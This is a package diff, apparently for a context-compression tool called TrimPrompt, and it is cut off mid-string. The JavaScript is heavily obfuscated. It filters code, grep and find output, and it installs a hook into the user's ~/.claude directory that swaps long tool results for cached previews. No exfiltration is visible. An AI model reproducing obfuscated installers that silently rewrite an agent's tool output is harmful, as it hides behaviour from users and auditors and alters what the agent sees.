_0x51280d;if(_0x25c857&&isFeatureEnabled(_0x992564(0x240))){const _0x1a2af7=path[_0x992564(0x253)](_0x25c857)[_0x992564(0x257)](),_0x23b02e=[_0x992564(0x21c),_0x992564(0x24b),_0x992564(0x227),_0x992564(0x24f),_0x992564(0x23f),_0x992564(0x1f0),_0x992564(0x27d),_0x992564(0x1fb),'.c','.cpp',_0x992564(0x21b),_0x992564(0x238),'.swift',_0x992564(0x222)];if(_0x23b02e[_0x992564(0x22d)](_0x1a2af7)){const _0xf4f91=_0x42d126[_0x992564(0x229)]('\x0a');if(_0xf4f91['length']>0x64){const _0x4d77fe=[];_0x4d77fe[_0x992564(0x1ef)]('[code\x20skeleton]\x20'+path[_0x992564(0x262)](_0x25c857)+'\x20('+_0xf4f91[_0x992564(0x260)]+'\x20lines)'),_0x4d77fe[_0x992564(0x1ef)]('');for(const _0x37c593 of _0xf4f91){const _0x413773=_0x37c593['trim']();if(_0x413773['startsWith'](_0x992564(0x21f))||_0x413773[_0x992564(0x27c)]('from\x20')||_0x413773[_0x992564(0x27c)](_0x992564(0x241))||_0x413773['match'](/=\s*require\(/)||_0x413773[_0x992564(0x27c)](_0x992564(0x283))||_0x413773['startsWith'](_0x992564(0x22b))||_0x413773['startsWith'](_0x992564(0x224)))_0x4d77fe[_0x992564(0x1ef)](_0x37c593);else{if(_0x413773[_0x992564(0x269)](/^(export\s+)?(async\s+)?function\s+/)||_0x413773[_0x992564(0x269)](/^(export\s+)?(default\s+)?class\s+/)||_0x413773[_0x992564(0x269)](/^(export\s+)?(type|interface|enum)\s+/)||_0x413773[_0x992564(0x269)](/^(async\s+)?def\s+/)||_0x413773[_0x992564(0x269)](/^func\s+/)||_0x413773[_0x992564(0x269)](/^type\s+\w+\s+(struct|interface)/)||_0x413773[_0x992564(0x269)](/^(pub\s+)?(async\s+)?fn\s+/)||_0x413773[_0x992564(0x269)](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x413773[_0x992564(0x269)](/^(public|private|protected|static)\s+/))_0x4d77fe[_0x992564(0x1ef)](_0x37c593);else{if(_0x413773[_0x992564(0x27c)](_0x992564(0x270))&&!_0x413773['includes']('=>')&&_0x413773['length']<0x78)_0x4d77fe[_0x992564(0x1ef)](_0x37c593);else _0x413773['startsWith']('@')&&!_0x413773[_0x992564(0x27c)](_0x992564(0x209))&&!_0x413773[_0x992564(0x27c)](_0x992564(0x265))&&_0x4d77fe[_0x992564(0x1ef)](_0x37c593);}}}_0x4d77fe[_0x992564(0x1ef)](''),_0x4d77fe[_0x992564(0x1ef)]('('+_0xf4f91[_0x992564(0x260)]+_0x992564(0x254)+(_0x4d77fe[_0x992564(0x260)]-0x2)+_0x992564(0x25e));const _0x44148c=_0x4d77fe['join']('\x0a');if(_0x44148c[_0x992564(0x260)]<_0x42d126[_0x992564(0x260)])return _0x44148c;}}}}catch{}let _0x9514dc=(0x0,generic_1['collapseWhitespace'])(_0x42d126);if(_0x25c857){const _0x4b6d59=path[_0x992564(0x253)](_0x25c857)['toLowerCase']();_0x9514dc=(0x0,generic_1[_0x992564(0x26a)])(_0x9514dc,_0x4b6d59);}const _0x1f2a03=_0x9514dc[_0x992564(0x229)]('\x0a');if(_0x1f2a03[_0x992564(0x260)]<=0x64)return _0x9514dc;const _0x47b184=[];return _0x47b184[_0x992564(0x1ef)](..._0x1f2a03[_0x992564(0x258)](0x0,0x32)),_0x47b184['push'](_0x992564(0x247)+(_0x1f2a03['length']-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x47b184[_0x992564(0x1ef)](..._0x1f2a03[_0x992564(0x258)](-0x1e)),_0x47b184['push']('\x0a('+_0x1f2a03['length']+_0x992564(0x22f)),_0x47b184[_0x992564(0x25b)]('\x0a');}function filterGrep(_0xd903e6){const _0x3e4215=a0_0x41b3bf,_0x2a15b7=_0xd903e6[_0x3e4215(0x229)]('\x0a')[_0x3e4215(0x201)](_0x580c43=>_0x580c43[_0x3e4215(0x278)]()['length']>0x0);if(_0x2a15b7[_0x3e4215(0x260)]===0x0)return _0x3e4215(0x1f7);if(_0x2a15b7[_0x3e4215(0x260)]<=0x32)return _0xd903e6[_0x3e4215(0x278)]();const _0x2c0a33={},_0x4c178d=[];for(const _0x24d253 of _0x2a15b7){const _0x5033bb=_0x24d253[_0x3e4215(0x24e)](':');if(_0x5033bb>0x0&&_0x5033bb<0xc8){const _0x22bd00=_0x24d253[_0x3e4215(0x204)](0x0,_0x5033bb);if(_0x22bd00[_0x3e4215(0x22d)]('/')||_0x22bd00[_0x3e4215(0x22d)]('\x5c')||_0x22bd00[_0x3e4215(0x22d)]('.')){if(!_0x2c0a33[_0x22bd00])_0x2c0a33[_0x22bd00]=[];_0x2c0a33[_0x22bd00]['push'](_0x24d253[_0x3e4215(0x204)](_0x5033bb+0x1)['trim']());continue;}}_0x4c178d[_0x3e4215(0x1ef)](_0x24d253);}const _0x1189c6=[],_0xcb6577=Object[_0x3e4215(0x230)](_0x2c0a33);if(_0xcb6577[_0x3e4215(0x260)]>0x0){const _0x30ca8c=0x14,_0x4a3a55=_0xcb6577[_0x3e4215(0x258)](0x0,_0x30ca8c);for(const _0x413978 of _0x4a3a55){const _0x4bdc3=_0x2c0a33[_0x413978];if(_0x4bdc3['length']<=0x3)for(const _0x1c93d2 of _0x4bdc3){_0x1189c6[_0x3e4215(0x1ef)](_0x413978+':\x20'+_0x1c93d2);}else _0x1189c6[_0x3e4215(0x1ef)](_0x413978+':\x20'+_0x4bdc3[0x0]),_0x1189c6[_0x3e4215(0x1ef)](_0x413978+':\x20...\x20('+_0x4bdc3['length']+_0x3e4215(0x20f));}_0xcb6577[_0x3e4215(0x260)]>_0x30ca8c&&_0x1189c6[_0x3e4215(0x1ef)](_0x3e4215(0x1f6)+(_0xcb6577['length']-_0x30ca8c)+'\x20more\x20files\x20with\x20matches');}if(_0x4c178d[_0x3e4215(0x260)]>0x0){const _0x15c353=0x1e;_0x1189c6[_0x3e4215(0x1ef)](..._0x4c178d[_0x3e4215(0x258)](0x0,_0x15c353)),_0x4c178d[_0x3e4215(0x260)]>_0x15c353&&_0x1189c6[_0x3e4215(0x1ef)]('...\x20+'+(_0x4c178d['length']-_0x15c353)+_0x3e4215(0x20d));}const _0x6e1225=_0x2a15b7[_0x3e4215(0x260)];return _0x1189c6[_0x3e4215(0x1ef)]('\x0a('+_0x6e1225+_0x3e4215(0x244)+(_0xcb6577[_0x3e4215(0x260)]||'?')+_0x3e4215(0x237)),_0x1189c6['join']('\x0a');}function filterFind(_0x4deda4){const _0x43950d=a0_0x41b3bf,_0xf9dc9c=_0x4deda4[_0x43950d(0x229)]('\x0a')[_0x43950d(0x201)](_0x2bd7ac=>_0x2bd7ac[_0x43950d(0x278)]()['length']>0x0);if(_0xf9dc9c[_0x43950d(0x260)]===0x0)return _0x43950d(0x1ff);if(_0xf9dc9c[_0x43950d(0x260)]<=0x32)return _0x4deda4[_0x43950d(0x278)]();const _0x3fc37f={};for(const _0x3cb456 of _0xf9dc9c){const _0x1e5205=path[_0x43950d(0x24c)](_0x3cb456['trim']())||'.';_0x3fc37f[_0x1e5205]=(_0x3fc37f[_0x1e5205]||0x0)+0x1;}const _0x5d6c71=Object[_0x43950d(0x225)](_0x3fc37f)['sort']((_0x4cd6e4,_0x359dee)=>_0x359dee[0x1]-_0x4cd6e4[0x1]),_0x2f8e7b=[_0xf9dc9c[_0x43950d(0x260)]+_0x43950d(0x239)+_0x5d6c71[_0x43950d(0x260)]+'\x20directories',''],_0x2a0f2b=0x1e;for(const [_0x59bfe5,_0x4c25f2]of _0x5d6c71[_0x43950d(0x258)](0x0,_0x2a0f2b)){_0x2f8e7b['push']('\x20\x20'+_0x59bfe5+'/\x20('+_0x4c25f2+_0x43950d(0x237));}return _0x5d6c71[_0x43950d(0x260)]>_0x2a0f2b&&_0x2f8e7b[_0x43950d(0x1ef)](_0x43950d(0x215)+(_0x5d6c71[_0x43950d(0x260)]-_0x2a0f2b)+_0x43950d(0x22c)),_0x2f8e7b['join']('\x0a');}
|
package/hooks/claude-hook.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';var a0_0x5bbc60=a0_0x5e20;(function(_0x17247b,_0x3667d3){var _0x25b7bc=a0_0x5e20,_0x24b5ab=_0x17247b();while(!![]){try{var _0xbae4e4=parseInt(_0x25b7bc(0x180))/0x1*(parseInt(_0x25b7bc(0x194))/0x2)+-parseInt(_0x25b7bc(0x17e))/0x3+parseInt(_0x25b7bc(0x18f))/0x4+-parseInt(_0x25b7bc(0x17f))/0x5*(parseInt(_0x25b7bc(0x17c))/0x6)+-parseInt(_0x25b7bc(0x192))/0x7+-parseInt(_0x25b7bc(0x174))/0x8*(-parseInt(_0x25b7bc(0x188))/0x9)+parseInt(_0x25b7bc(0x186))/0xa*(parseInt(_0x25b7bc(0x17b))/0xb);if(_0xbae4e4===_0x3667d3)break;else _0x24b5ab['push'](_0x24b5ab['shift']());}catch(_0x408d82){_0x24b5ab['push'](_0x24b5ab['shift']());}}}(a0_0x387a,0x8eacd));var __createBinding=this&&this[a0_0x5bbc60(0x175)]||(Object['create']?function(_0x59cf63,_0x57b318,_0x1e620b,_0x387dc9){var _0x10e119=a0_0x5bbc60;if(_0x387dc9===undefined)_0x387dc9=_0x1e620b;var _0x1a1cf9=Object[_0x10e119(0x187)](_0x57b318,_0x1e620b);(!_0x1a1cf9||('get'in _0x1a1cf9?!_0x57b318[_0x10e119(0x191)]:_0x1a1cf9['writable']||_0x1a1cf9[_0x10e119(0x17a)]))&&(_0x1a1cf9={'enumerable':!![],'get':function(){return _0x57b318[_0x1e620b];}}),Object[_0x10e119(0x184)](_0x59cf63,_0x387dc9,_0x1a1cf9);}:function(_0x2c18f8,_0x4d636b,_0x24d8ec,_0x1bb9c8){if(_0x1bb9c8===undefined)_0x1bb9c8=_0x24d8ec;_0x2c18f8[_0x1bb9c8]=_0x4d636b[_0x24d8ec];}),__setModuleDefault=this&&this[a0_0x5bbc60(0x177)]||(Object['create']?function(_0x2c7063,_0x4b2cb0){Object['defineProperty'](_0x2c7063,'default',{'enumerable':!![],'value':_0x4b2cb0});}:function(_0xf270b7,_0x1c6935){_0xf270b7['default']=_0x1c6935;}),__importStar=this&&this[a0_0x5bbc60(0x18a)]||(function(){var _0x18c00f=function(_0x62d080){var _0x420867=a0_0x5e20;return _0x18c00f=Object[_0x420867(0x183)]||function(_0x3aaf20){var _0x35a52d=_0x420867,_0x132fd0=[];for(var _0x1e6002 in _0x3aaf20)if(Object[_0x35a52d(0x18e)][_0x35a52d(0x172)][_0x35a52d(0x189)](_0x3aaf20,_0x1e6002))_0x132fd0[_0x132fd0[_0x35a52d(0x18b)]]=_0x1e6002;return _0x132fd0;},_0x18c00f(_0x62d080);};return function(_0x1913dd){var _0x14e83c=a0_0x5e20;if(_0x1913dd&&_0x1913dd[_0x14e83c(0x191)])return _0x1913dd;var _0x11562d={};if(_0x1913dd!=null){for(var _0x2cefd8=_0x18c00f(_0x1913dd),_0x297e2b=0x0;_0x297e2b<_0x2cefd8['length'];_0x297e2b++)if(_0x2cefd8[_0x297e2b]!=='default')__createBinding(_0x11562d,_0x1913dd,_0x2cefd8[_0x297e2b]);}return __setModuleDefault(_0x11562d,_0x1913dd),_0x11562d;};}());function a0_0x387a(){var _0x1b45b2=['installClaudeHooks','configurable','4775375pdAjDJ','24jtEnMr','utf8','3374091VVGuRf','1196270zsufWi','1043909NlGOsX','writeFileSync','.claude','getOwnPropertyNames','defineProperty','//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a','10mvHNUE','getOwnPropertyDescriptor','261AFLJGo','call','__importStar','length','homedir','existsSync','prototype','4432236cUwGoR','post_tool_use.js','__esModule','7426510QSKKWM','mkdirSync','2cPgToQ','hasOwnProperty','path','314744ZYychr','__createBinding','hooks','__setModuleDefault','join'];a0_0x387a=function(){return _0x1b45b2;};return a0_0x387a();}function a0_0x5e20(_0x33b256,_0x48fbcd){_0x33b256=_0x33b256-0x172;var _0x387a98=a0_0x387a();var _0x5e2017=_0x387a98[_0x33b256];return _0x5e2017;}Object[a0_0x5bbc60(0x184)](exports,a0_0x5bbc60(0x191),{'value':!![]}),exports[a0_0x5bbc60(0x179)]=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5bbc60(0x173))),os=__importStar(require('os'));function installClaudeHooks(){var _0x10cf6a=a0_0x5bbc60;try{const _0x6a29bc=path[_0x10cf6a(0x178)](os[_0x10cf6a(0x18c)](),_0x10cf6a(0x182),_0x10cf6a(0x176));!fs[_0x10cf6a(0x18d)](_0x6a29bc)&&fs[_0x10cf6a(0x193)](_0x6a29bc,{'recursive':!![]});const _0x487fd0=path[_0x10cf6a(0x178)](_0x6a29bc,_0x10cf6a(0x190)),_0x5ccbc8=_0x10cf6a(0x185);fs[_0x10cf6a(0x181)](_0x487fd0,_0x5ccbc8,_0x10cf6a(0x17d));}catch(_0x14c7a6){}}
|
|
1
|
+
'use strict';var a0_0x32a588=a0_0xefe8;(function(_0x33b589,_0x1d017e){var _0x4d64f8=a0_0xefe8,_0x269fda=_0x33b589();while(!![]){try{var _0x5ae5cd=parseInt(_0x4d64f8(0x7f))/0x1*(parseInt(_0x4d64f8(0x91))/0x2)+-parseInt(_0x4d64f8(0x94))/0x3*(parseInt(_0x4d64f8(0x8e))/0x4)+parseInt(_0x4d64f8(0x93))/0x5*(-parseInt(_0x4d64f8(0x92))/0x6)+-parseInt(_0x4d64f8(0x85))/0x7+-parseInt(_0x4d64f8(0x8a))/0x8+-parseInt(_0x4d64f8(0x7e))/0x9*(parseInt(_0x4d64f8(0x75))/0xa)+parseInt(_0x4d64f8(0x7a))/0xb;if(_0x5ae5cd===_0x1d017e)break;else _0x269fda['push'](_0x269fda['shift']());}catch(_0x20dcf6){_0x269fda['push'](_0x269fda['shift']());}}}(a0_0x5bed,0xb01c0));function a0_0xefe8(_0x58f642,_0x1bb120){_0x58f642=_0x58f642-0x74;var _0x5bed8c=a0_0x5bed();var _0xefe88c=_0x5bed8c[_0x58f642];return _0xefe88c;}var __createBinding=this&&this['__createBinding']||(Object[a0_0x32a588(0x7c)]?function(_0x4b8564,_0x5cdaf4,_0x55196f,_0x46d90a){var _0x4ecd63=a0_0x32a588;if(_0x46d90a===undefined)_0x46d90a=_0x55196f;var _0x32a5df=Object[_0x4ecd63(0x7b)](_0x5cdaf4,_0x55196f);(!_0x32a5df||('get'in _0x32a5df?!_0x5cdaf4[_0x4ecd63(0x7d)]:_0x32a5df[_0x4ecd63(0x86)]||_0x32a5df['configurable']))&&(_0x32a5df={'enumerable':!![],'get':function(){return _0x5cdaf4[_0x55196f];}}),Object[_0x4ecd63(0x8b)](_0x4b8564,_0x46d90a,_0x32a5df);}:function(_0x419b43,_0x545b46,_0x4d83ce,_0x3eae72){if(_0x3eae72===undefined)_0x3eae72=_0x4d83ce;_0x419b43[_0x3eae72]=_0x545b46[_0x4d83ce];}),__setModuleDefault=this&&this[a0_0x32a588(0x90)]||(Object[a0_0x32a588(0x7c)]?function(_0x5bd32b,_0x529661){Object['defineProperty'](_0x5bd32b,'default',{'enumerable':!![],'value':_0x529661});}:function(_0x352e02,_0x3a8e5){_0x352e02['default']=_0x3a8e5;}),__importStar=this&&this[a0_0x32a588(0x74)]||(function(){var _0x2f9080=function(_0x523e81){var _0x4f6e38=a0_0xefe8;return _0x2f9080=Object[_0x4f6e38(0x82)]||function(_0x4e35a4){var _0x4b4a4a=_0x4f6e38,_0x575b6d=[];for(var _0x336542 in _0x4e35a4)if(Object[_0x4b4a4a(0x77)][_0x4b4a4a(0x79)][_0x4b4a4a(0x83)](_0x4e35a4,_0x336542))_0x575b6d[_0x575b6d['length']]=_0x336542;return _0x575b6d;},_0x2f9080(_0x523e81);};return function(_0x311609){var _0x2087c5=a0_0xefe8;if(_0x311609&&_0x311609[_0x2087c5(0x7d)])return _0x311609;var _0x1bcbfe={};if(_0x311609!=null){for(var _0x2dc1ac=_0x2f9080(_0x311609),_0x10722d=0x0;_0x10722d<_0x2dc1ac[_0x2087c5(0x81)];_0x10722d++)if(_0x2dc1ac[_0x10722d]!==_0x2087c5(0x84))__createBinding(_0x1bcbfe,_0x311609,_0x2dc1ac[_0x10722d]);}return __setModuleDefault(_0x1bcbfe,_0x311609),_0x1bcbfe;};}());function a0_0x5bed(){var _0x11e736=['post_tool_use.js','hasOwnProperty','39506489JrToxL','getOwnPropertyDescriptor','create','__esModule','81feprOX','1031523WCkSxm','existsSync','length','getOwnPropertyNames','call','default','9337426TMGtdm','writable','join','hooks','utf8','9169472BvGWOk','defineProperty','homedir','path','724qSZYUf','.claude','__setModuleDefault','2BedACV','306BVSCyJ','13190pXVQmi','4407paSLul','__importStar','1134610gZNYIv','writeFileSync','prototype'];a0_0x5bed=function(){return _0x11e736;};return a0_0x5bed();}Object[a0_0x32a588(0x8b)](exports,a0_0x32a588(0x7d),{'value':!![]}),exports['installClaudeHooks']=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x32a588(0x8d))),os=__importStar(require('os'));function installClaudeHooks(){var _0x3f6f2b=a0_0x32a588;try{const _0x512756=path[_0x3f6f2b(0x87)](os[_0x3f6f2b(0x8c)](),_0x3f6f2b(0x8f),_0x3f6f2b(0x88));!fs[_0x3f6f2b(0x80)](_0x512756)&&fs['mkdirSync'](_0x512756,{'recursive':!![]});const _0x51740f=path[_0x3f6f2b(0x87)](_0x512756,_0x3f6f2b(0x78)),_0x4aae9b='//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\